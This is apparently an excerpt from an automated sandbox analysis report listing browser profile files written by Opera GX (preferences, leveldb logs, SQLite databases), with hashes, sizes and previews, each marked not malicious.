                                                                                                                                                                                                              SHA-512:AF2BE52A37B0799C6BCA52C434CE11E0DE9D00DDBD1D3EB5402C6613AF83DB22A5EE38986EF2D6100F91678121AE673B3401FD1986F8ED2F277F511471E99274
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"ab_testing":{"uid":"MDg2YzBhYTItNDZlZi00YmY4LWJjYzYtNDJkOTE1M2IzMzk1"},"autofill":{"ablation_seed":"uBdDUBAoj8c="},"browser":{"remote_flags":"01979299c8cd,13e025f64bd6:disabled,13eeaf851da7,1ad69b007ce5,1c4dddb65bac,1d24dceb937a,278deecb29a1,2c1429a5a72e,3389f6c15eb9,40db6e644d2c:disabled,50796754ffc7,5448a57d6689:disabled,54726ed4401e,56d717ae3ad6,5a28d66c82cd,603cade21cf7,654296fe9d6c,818c3ef12d0b,8511df77ed15,88edd7903398,970fe421a344,9ec4e68ae70a:disabled,b2a2a32b832b,b7751444d14a,b9677b166709:disabled,c25d6d8d2719:disabled,c57119eb4723,c9a44eaecc11,cbc43aa3cfb6,d144067b33ec,d4b5093b464f,e2c9ffba8439,e7de6afa38c4,f17eaee53639,f3834d6657d8,f77fe4682650,fc82980101cd","remote_flags_char_requirements":{"818c3ef12d0b":{"forbidden":["5b3eb4a6c335a0659d16d1a189ca155e4441ea14"],"required":["64336fb81a04836eb8108d24fbca3aa3682db0a5"]}},"remote_flags_guid":"4a730dd9-027f-4e80-b7c8-4f65d87b88c5"},"browserjs":{"version":"1712230920"},"chars":{"list":[]},"component_updater":{"media_foundation

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Local State~RF3d9aef.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):3088
                                                                                                                                                                                                              Entropy (8bit):5.5033164473085225
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:140DB708D36C93C72FCF21E08DF71C74
                                                                                                                                                                                                              SHA1:041225279B994402C15356668892032260D81A56
                                                                                                                                                                                                              SHA-256:6B9A928C6303D09E7C1A8E46E29649B5EE433BE3AB23164A6550189D13150D4F
                                                                                                                                                                                                              SHA-512:AF2BE52A37B0799C6BCA52C434CE11E0DE9D00DDBD1D3EB5402C6613AF83DB22A5EE38986EF2D6100F91678121AE673B3401FD1986F8ED2F277F511471E99274
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"ab_testing":{"uid":"MDg2YzBhYTItNDZlZi00YmY4LWJjYzYtNDJkOTE1M2IzMzk1"},"autofill":{"ablation_seed":"uBdDUBAoj8c="},"browser":{"remote_flags":"01979299c8cd,13e025f64bd6:disabled,13eeaf851da7,1ad69b007ce5,1c4dddb65bac,1d24dceb937a,278deecb29a1,2c1429a5a72e,3389f6c15eb9,40db6e644d2c:disabled,50796754ffc7,5448a57d6689:disabled,54726ed4401e,56d717ae3ad6,5a28d66c82cd,603cade21cf7,654296fe9d6c,818c3ef12d0b,8511df77ed15,88edd7903398,970fe421a344,9ec4e68ae70a:disabled,b2a2a32b832b,b7751444d14a,b9677b166709:disabled,c25d6d8d2719:disabled,c57119eb4723,c9a44eaecc11,cbc43aa3cfb6,d144067b33ec,d4b5093b464f,e2c9ffba8439,e7de6afa38c4,f17eaee53639,f3834d6657d8,f77fe4682650,fc82980101cd","remote_flags_char_requirements":{"818c3ef12d0b":{"forbidden":["5b3eb4a6c335a0659d16d1a189ca155e4441ea14"],"required":["64336fb81a04836eb8108d24fbca3aa3682db0a5"]}},"remote_flags_guid":"4a730dd9-027f-4e80-b7c8-4f65d87b88c5"},"browserjs":{"version":"1712230920"},"chars":{"list":[]},"component_updater":{"media_foundation

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Local State~RF3dd2c8.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):3088
                                                                                                                                                                                                              Entropy (8bit):5.5033164473085225
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:140DB708D36C93C72FCF21E08DF71C74
                                                                                                                                                                                                              SHA1:041225279B994402C15356668892032260D81A56
                                                                                                                                                                                                              SHA-256:6B9A928C6303D09E7C1A8E46E29649B5EE433BE3AB23164A6550189D13150D4F
                                                                                                                                                                                                              SHA-512:AF2BE52A37B0799C6BCA52C434CE11E0DE9D00DDBD1D3EB5402C6613AF83DB22A5EE38986EF2D6100F91678121AE673B3401FD1986F8ED2F277F511471E99274
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"ab_testing":{"uid":"MDg2YzBhYTItNDZlZi00YmY4LWJjYzYtNDJkOTE1M2IzMzk1"},"autofill":{"ablation_seed":"uBdDUBAoj8c="},"browser":{"remote_flags":"01979299c8cd,13e025f64bd6:disabled,13eeaf851da7,1ad69b007ce5,1c4dddb65bac,1d24dceb937a,278deecb29a1,2c1429a5a72e,3389f6c15eb9,40db6e644d2c:disabled,50796754ffc7,5448a57d6689:disabled,54726ed4401e,56d717ae3ad6,5a28d66c82cd,603cade21cf7,654296fe9d6c,818c3ef12d0b,8511df77ed15,88edd7903398,970fe421a344,9ec4e68ae70a:disabled,b2a2a32b832b,b7751444d14a,b9677b166709:disabled,c25d6d8d2719:disabled,c57119eb4723,c9a44eaecc11,cbc43aa3cfb6,d144067b33ec,d4b5093b464f,e2c9ffba8439,e7de6afa38c4,f17eaee53639,f3834d6657d8,f77fe4682650,fc82980101cd","remote_flags_char_requirements":{"818c3ef12d0b":{"forbidden":["5b3eb4a6c335a0659d16d1a189ca155e4441ea14"],"required":["64336fb81a04836eb8108d24fbca3aa3682db0a5"]}},"remote_flags_guid":"4a730dd9-027f-4e80-b7c8-4f65d87b88c5"},"browserjs":{"version":"1712230920"},"chars":{"list":[]},"component_updater":{"media_foundation

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Local Storage\leveldb\000001.dbtmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):16
                                                                                                                                                                                                              Entropy (8bit):3.2743974703476995
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:46295CAC801E5D4857D09837238A6394
                                                                                                                                                                                                              SHA1:44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
                                                                                                                                                                                                              SHA-256:0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
                                                                                                                                                                                                              SHA-512:8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Local Storage\leveldb\000003.log

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1853
                                                                                                                                                                                                              Entropy (8bit):5.39728859018836
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:0A76FDF078A78BF2DB5E19B5BF25B07F
                                                                                                                                                                                                              SHA1:B753ACA5983ADFE3F99FAEF93BD28B53268D91B4
                                                                                                                                                                                                              SHA-256:16EBF32AFB2CBEA1697127F0F46E759B458516B5BA97A78276B7348873C4EA28
                                                                                                                                                                                                              SHA-512:6BCEE4ED9E42121A24FC8DDBAB1DA4D71518E83BFF58867269EB23081FC32586004DEBD5DF5CA589E87A119821BA8AB9C3650D2D4008D31D611E177629B83B11
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:...M................VERSION.1.8META:chrome-extension://pdcifnciicbfakdajkbbhphlabjminhg..............>METAACCESS:chrome-extension://pdcifnciicbfakdajkbbhphlabjminhg...........D_chrome-extension://pdcifnciicbfakdajkbbhphlabjminhg..cpuForceStatus..null.>_chrome-extension://pdcifnciicbfakdajkbbhphlabjminhg..cpuLimit..null.?_chrome-extension://pdcifnciicbfakdajkbbhphlabjminhg..cpuStatus..null.B_chrome-extension://pdcifnciicbfakdajkbbhphlabjminhg..networkLimit..null.C_chrome-extension://pdcifnciicbfakdajkbbhphlabjminhg..networkStatus..null.D_chrome-extension://pdcifnciicbfakdajkbbhphlabjminhg..ramForceStatus..null.>_chrome-extension://pdcifnciicbfakdajkbbhphlabjminhg..ramLimit..null.?_chrome-extension://pdcifnciicbfakdajkbbhphlabjminhg..ramStatus..null.V_chrome-extension://pdcifnciicbfakdajkbbhphlabjminhg..updated_limiters_persist_restart..trueE./;................META:chrome://startpage...............METAACCESS:chrome://startpage...........(_chrome://startpage..campaigns-user-uuid%.f732fe

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Local Storage\leveldb\CURRENT (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):16
                                                                                                                                                                                                              Entropy (8bit):3.2743974703476995
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:46295CAC801E5D4857D09837238A6394
                                                                                                                                                                                                              SHA1:44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
                                                                                                                                                                                                              SHA-256:0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
                                                                                                                                                                                                              SHA-512:8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Local Storage\leveldb\LOG

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):301
                                                                                                                                                                                                              Entropy (8bit):5.227432477386349
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:CD701A42C1BF34D9FFF866961A9B24D4
                                                                                                                                                                                                              SHA1:D41CB416CF03B038089FAA454430457D875C35F8
                                                                                                                                                                                                              SHA-256:93AD62849C08BAC651833EE1C95A2D0448A5F9E9CFC26C42E3D870D8E61136F8
                                                                                                                                                                                                              SHA-512:CA711B48D21D10F18AA946674BD99AD14BD24993ABFE929521635BDCE096624DB77FE09946A8917217F8D3E89925F1C5071FFE745E1A1F61D875EC2B3140B1F6
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:2024/10/13-04:34:09.082 193c Creating DB C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Local Storage\leveldb since it was missing..2024/10/13-04:34:09.139 193c Reusing MANIFEST C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Local Storage\leveldb/MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Local Storage\leveldb\MANIFEST-000001

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:OpenPGP Secret Key
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):41
                                                                                                                                                                                                              Entropy (8bit):4.704993772857998
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5AF87DFD673BA2115E2FCF5CFDB727AB
                                                                                                                                                                                                              SHA1:D5B5BBF396DC291274584EF71F444F420B6056F1
                                                                                                                                                                                                              SHA-256:F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
                                                                                                                                                                                                              SHA-512:DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.|.."....leveldb.BytewiseComparator......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Login Data

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:SQLite 3.x database, last written using SQLite version 3045002, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):40960
                                                                                                                                                                                                              Entropy (8bit):0.8621516222976348
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:CD6917CC36422AED5E2A20A1132943DB
                                                                                                                                                                                                              SHA1:481F964FC0721A3338A3A9A1F6CEB7D6B27B231C
                                                                                                                                                                                                              SHA-256:0ACE9FF85BC53BE1DEBB74C7F6A767BABFEF479921CBC174496E701AFD2239A9
                                                                                                                                                                                                              SHA-512:20E82CC32641275828ACD5BF5AB2EF5F760414B9B77FCD2E9AFEA76DF47615259AC7BA1D58F8A8F341F1492CEADCC3C98243BDB19D5B83D97674E7A238E48272
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:SQLite format 3......@ ..........................................................................v.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Network Action Predictor

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:SQLite 3.x database, last written using SQLite version 3045002, file counter 3, database pages 11, cookie 0x6, schema 4, UTF-8, version-valid-for 3
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):45056
                                                                                                                                                                                                              Entropy (8bit):0.4028722755425988
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:EBBBB297C4628BF5E0CA978FBF51D28B
                                                                                                                                                                                                              SHA1:AA337992CC26CB38638DF6C022DCFAF8DC90663C
                                                                                                                                                                                                              SHA-256:552405E1173A579F6C593EF7366373AFE2E7CE18590D8E7571F89D3F5D97CB05
                                                                                                                                                                                                              SHA-512:AE6F30B05F3DD4B0902A100FAD201B2A2C73F2D34332964093859E926548E9DB243989C1635264FF91F8A1DE2BAA4A8942F9B4FC3E592AA1BBACF4F58AA06F6C
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:SQLite format 3......@ ..........................................................................v.......?......\.v.-.@.......?........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Preferences (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9659
                                                                                                                                                                                                              Entropy (8bit):4.98075319404662
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:E7A7B78FF2FD59CE1D87C7F8462EF6DB
                                                                                                                                                                                                              SHA1:0CCA682C1842F5AFFDEB4E8FA1C141481968605D
                                                                                                                                                                                                              SHA-256:1E99F0A1850399377DE0FFE2F70860C20209C218EEED18DAC415F9D44F88BB79
                                                                                                                                                                                                              SHA-512:8F4DC251AF06D2B190C1B864A7C17C43366BF9B3F0834F22B9A096BBDACDC3A5CDD12654495F70A3095B6ECFE84C40CFAB595792B0B34C3C3355A192439D1326
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"autofill":{"last_version_deduped":128},"bookmarks":{"trash_cleaner":{"migration_applied":true}},"browser":{"window_placement":{"height":738,"left":160,"maximized":true,"top":123,"width":960}},"chars":{"next_check":"13373282108094826"},"consent_flow":{"consent_given":false},"default_search_provider":{"synced_guid":"FF57F01A-0718-44B7-8A1F-8B15BC33A50B"},"domain_diversity":{"last_reporting_timestamp":"13373282055163588"},"extensions":{"alerts":{"initialized":true},"chrome_url_overrides":{},"last_opera_version":"128.0.6613.178","pinned_extensions":["igpdmclhhlcpoindmhkhillbfhdgoegm","ompjkhnkeoicimmaehlcmgmpghobbjoj","gojhcdgcpbpfigcaejpfhfegekdgiblk"]},"freedom":{"proxy_switcher":{"automatic_connection_update_applied":true,"forbidden":false,"stat_badge_state":"off"}},"gcm":{"product_category_for_subtypes":"com.operagx.windows"},"gx":{"chroma_equalizer_sites_version":1,"widgets":{"mission_availabl

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Preferences~RF3da474.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9659
                                                                                                                                                                                                              Entropy (8bit):4.98075319404662
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:E7A7B78FF2FD59CE1D87C7F8462EF6DB
                                                                                                                                                                                                              SHA1:0CCA682C1842F5AFFDEB4E8FA1C141481968605D
                                                                                                                                                                                                              SHA-256:1E99F0A1850399377DE0FFE2F70860C20209C218EEED18DAC415F9D44F88BB79
                                                                                                                                                                                                              SHA-512:8F4DC251AF06D2B190C1B864A7C17C43366BF9B3F0834F22B9A096BBDACDC3A5CDD12654495F70A3095B6ECFE84C40CFAB595792B0B34C3C3355A192439D1326
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"autofill":{"last_version_deduped":128},"bookmarks":{"trash_cleaner":{"migration_applied":true}},"browser":{"window_placement":{"height":738,"left":160,"maximized":true,"top":123,"width":960}},"chars":{"next_check":"13373282108094826"},"consent_flow":{"consent_given":false},"default_search_provider":{"synced_guid":"FF57F01A-0718-44B7-8A1F-8B15BC33A50B"},"domain_diversity":{"last_reporting_timestamp":"13373282055163588"},"extensions":{"alerts":{"initialized":true},"chrome_url_overrides":{},"last_opera_version":"128.0.6613.178","pinned_extensions":["igpdmclhhlcpoindmhkhillbfhdgoegm","ompjkhnkeoicimmaehlcmgmpghobbjoj","gojhcdgcpbpfigcaejpfhfegekdgiblk"]},"freedom":{"proxy_switcher":{"automatic_connection_update_applied":true,"forbidden":false,"stat_badge_state":"off"}},"gcm":{"product_category_for_subtypes":"com.operagx.windows"},"gx":{"chroma_equalizer_sites_version":1,"widgets":{"mission_availabl

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Preferences~RF3dd2e7.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9659
                                                                                                                                                                                                              Entropy (8bit):4.98075319404662
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:E7A7B78FF2FD59CE1D87C7F8462EF6DB
                                                                                                                                                                                                              SHA1:0CCA682C1842F5AFFDEB4E8FA1C141481968605D
                                                                                                                                                                                                              SHA-256:1E99F0A1850399377DE0FFE2F70860C20209C218EEED18DAC415F9D44F88BB79
                                                                                                                                                                                                              SHA-512:8F4DC251AF06D2B190C1B864A7C17C43366BF9B3F0834F22B9A096BBDACDC3A5CDD12654495F70A3095B6ECFE84C40CFAB595792B0B34C3C3355A192439D1326
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"autofill":{"last_version_deduped":128},"bookmarks":{"trash_cleaner":{"migration_applied":true}},"browser":{"window_placement":{"height":738,"left":160,"maximized":true,"top":123,"width":960}},"chars":{"next_check":"13373282108094826"},"consent_flow":{"consent_given":false},"default_search_provider":{"synced_guid":"FF57F01A-0718-44B7-8A1F-8B15BC33A50B"},"domain_diversity":{"last_reporting_timestamp":"13373282055163588"},"extensions":{"alerts":{"initialized":true},"chrome_url_overrides":{},"last_opera_version":"128.0.6613.178","pinned_extensions":["igpdmclhhlcpoindmhkhillbfhdgoegm","ompjkhnkeoicimmaehlcmgmpghobbjoj","gojhcdgcpbpfigcaejpfhfegekdgiblk"]},"freedom":{"proxy_switcher":{"automatic_connection_update_applied":true,"forbidden":false,"stat_badge_state":"off"}},"gcm":{"product_category_for_subtypes":"com.operagx.windows"},"gx":{"chroma_equalizer_sites_version":1,"widgets":{"mission_availabl

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\PreferredApps

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):33
                                                                                                                                                                                                              Entropy (8bit):4.051821770808046
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:2B432FEF211C69C745ACA86DE4F8E4AB
                                                                                                                                                                                                              SHA1:4B92DA8D4C0188CF2409500ADCD2200444A82FCC
                                                                                                                                                                                                              SHA-256:42B55D126D1E640B1ED7A6BDCB9A46C81DF461FA7E131F4F8C7108C2C61C14DE
                                                                                                                                                                                                              SHA-512:948502DE4DC89A7E9D2E1660451FCD0F44FD3816072924A44F145D821D0363233CC92A377DBA3A0A9F849E3C17B1893070025C369C8120083A622D025FE1EACF
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"preferred_apps":[],"version":1}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Secure Preferences (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (65536), with no line terminators
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):90779
                                                                                                                                                                                                              Entropy (8bit):5.597722543131121
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:4330B2113F4350E6F2D82163F6AC20E6
                                                                                                                                                                                                              SHA1:347EC10055513FFEF50D7D743732965CA07032DF
                                                                                                                                                                                                              SHA-256:F5F8BECD60F0CA2FE95CCECC4628FB82299880E1D14045DE2F19C66DB7F82C6D
                                                                                                                                                                                                              SHA-512:65A73DE09CDF8A16841A0788244D783452CB525C63F0662BACBDF52728346D66CB3F582ED6BB7443584FC2CB49720E55413AD33A66F695B471734BCB20EC20F3
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"adblocker":{"whitelist_initialized":true,"whitelist_version":6},"bookmarks":{"partners":{"participating_user":true}},"extensions":{"opsettings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13373282049039505","from_webstore":false,"granted_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"incognito_content_settings":[],"incognito_preferences":{},"is_pending_third_party_install":false,"last_update_time":"13373282049039505","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Secure Preferences~RF3dafa0.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (65536), with no line terminators
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):90779
                                                                                                                                                                                                              Entropy (8bit):5.597722543131121
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:4330B2113F4350E6F2D82163F6AC20E6
                                                                                                                                                                                                              SHA1:347EC10055513FFEF50D7D743732965CA07032DF
                                                                                                                                                                                                              SHA-256:F5F8BECD60F0CA2FE95CCECC4628FB82299880E1D14045DE2F19C66DB7F82C6D
                                                                                                                                                                                                              SHA-512:65A73DE09CDF8A16841A0788244D783452CB525C63F0662BACBDF52728346D66CB3F582ED6BB7443584FC2CB49720E55413AD33A66F695B471734BCB20EC20F3
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"adblocker":{"whitelist_initialized":true,"whitelist_version":6},"bookmarks":{"partners":{"participating_user":true}},"extensions":{"opsettings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13373282049039505","from_webstore":false,"granted_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"incognito_content_settings":[],"incognito_preferences":{},"is_pending_third_party_install":false,"last_update_time":"13373282049039505","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\002165830cdb3768_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):174000
                                                                                                                                                                                                              Entropy (8bit):5.431218816746987
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:C967A78FC7135589887A2B50D932354C
                                                                                                                                                                                                              SHA1:8AAE99A72562791B34DAEDEF668E5D6EE031F5B0
                                                                                                                                                                                                              SHA-256:BFAE2D376B0B9515134704D9CE0A14A0116EA1B1DBFA2D22A00DEE5114BCDE33
                                                                                                                                                                                                              SHA-512:31DE6D91AF9D2DE15B8F7AF6A4F19AF7B4771D9BC4E9E3E2611A5F2244DFC0D00F2F3DEA19CE7A0864E1CC7720A851CB60780300CAE36B75BE6EEEF83C64BF1C
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
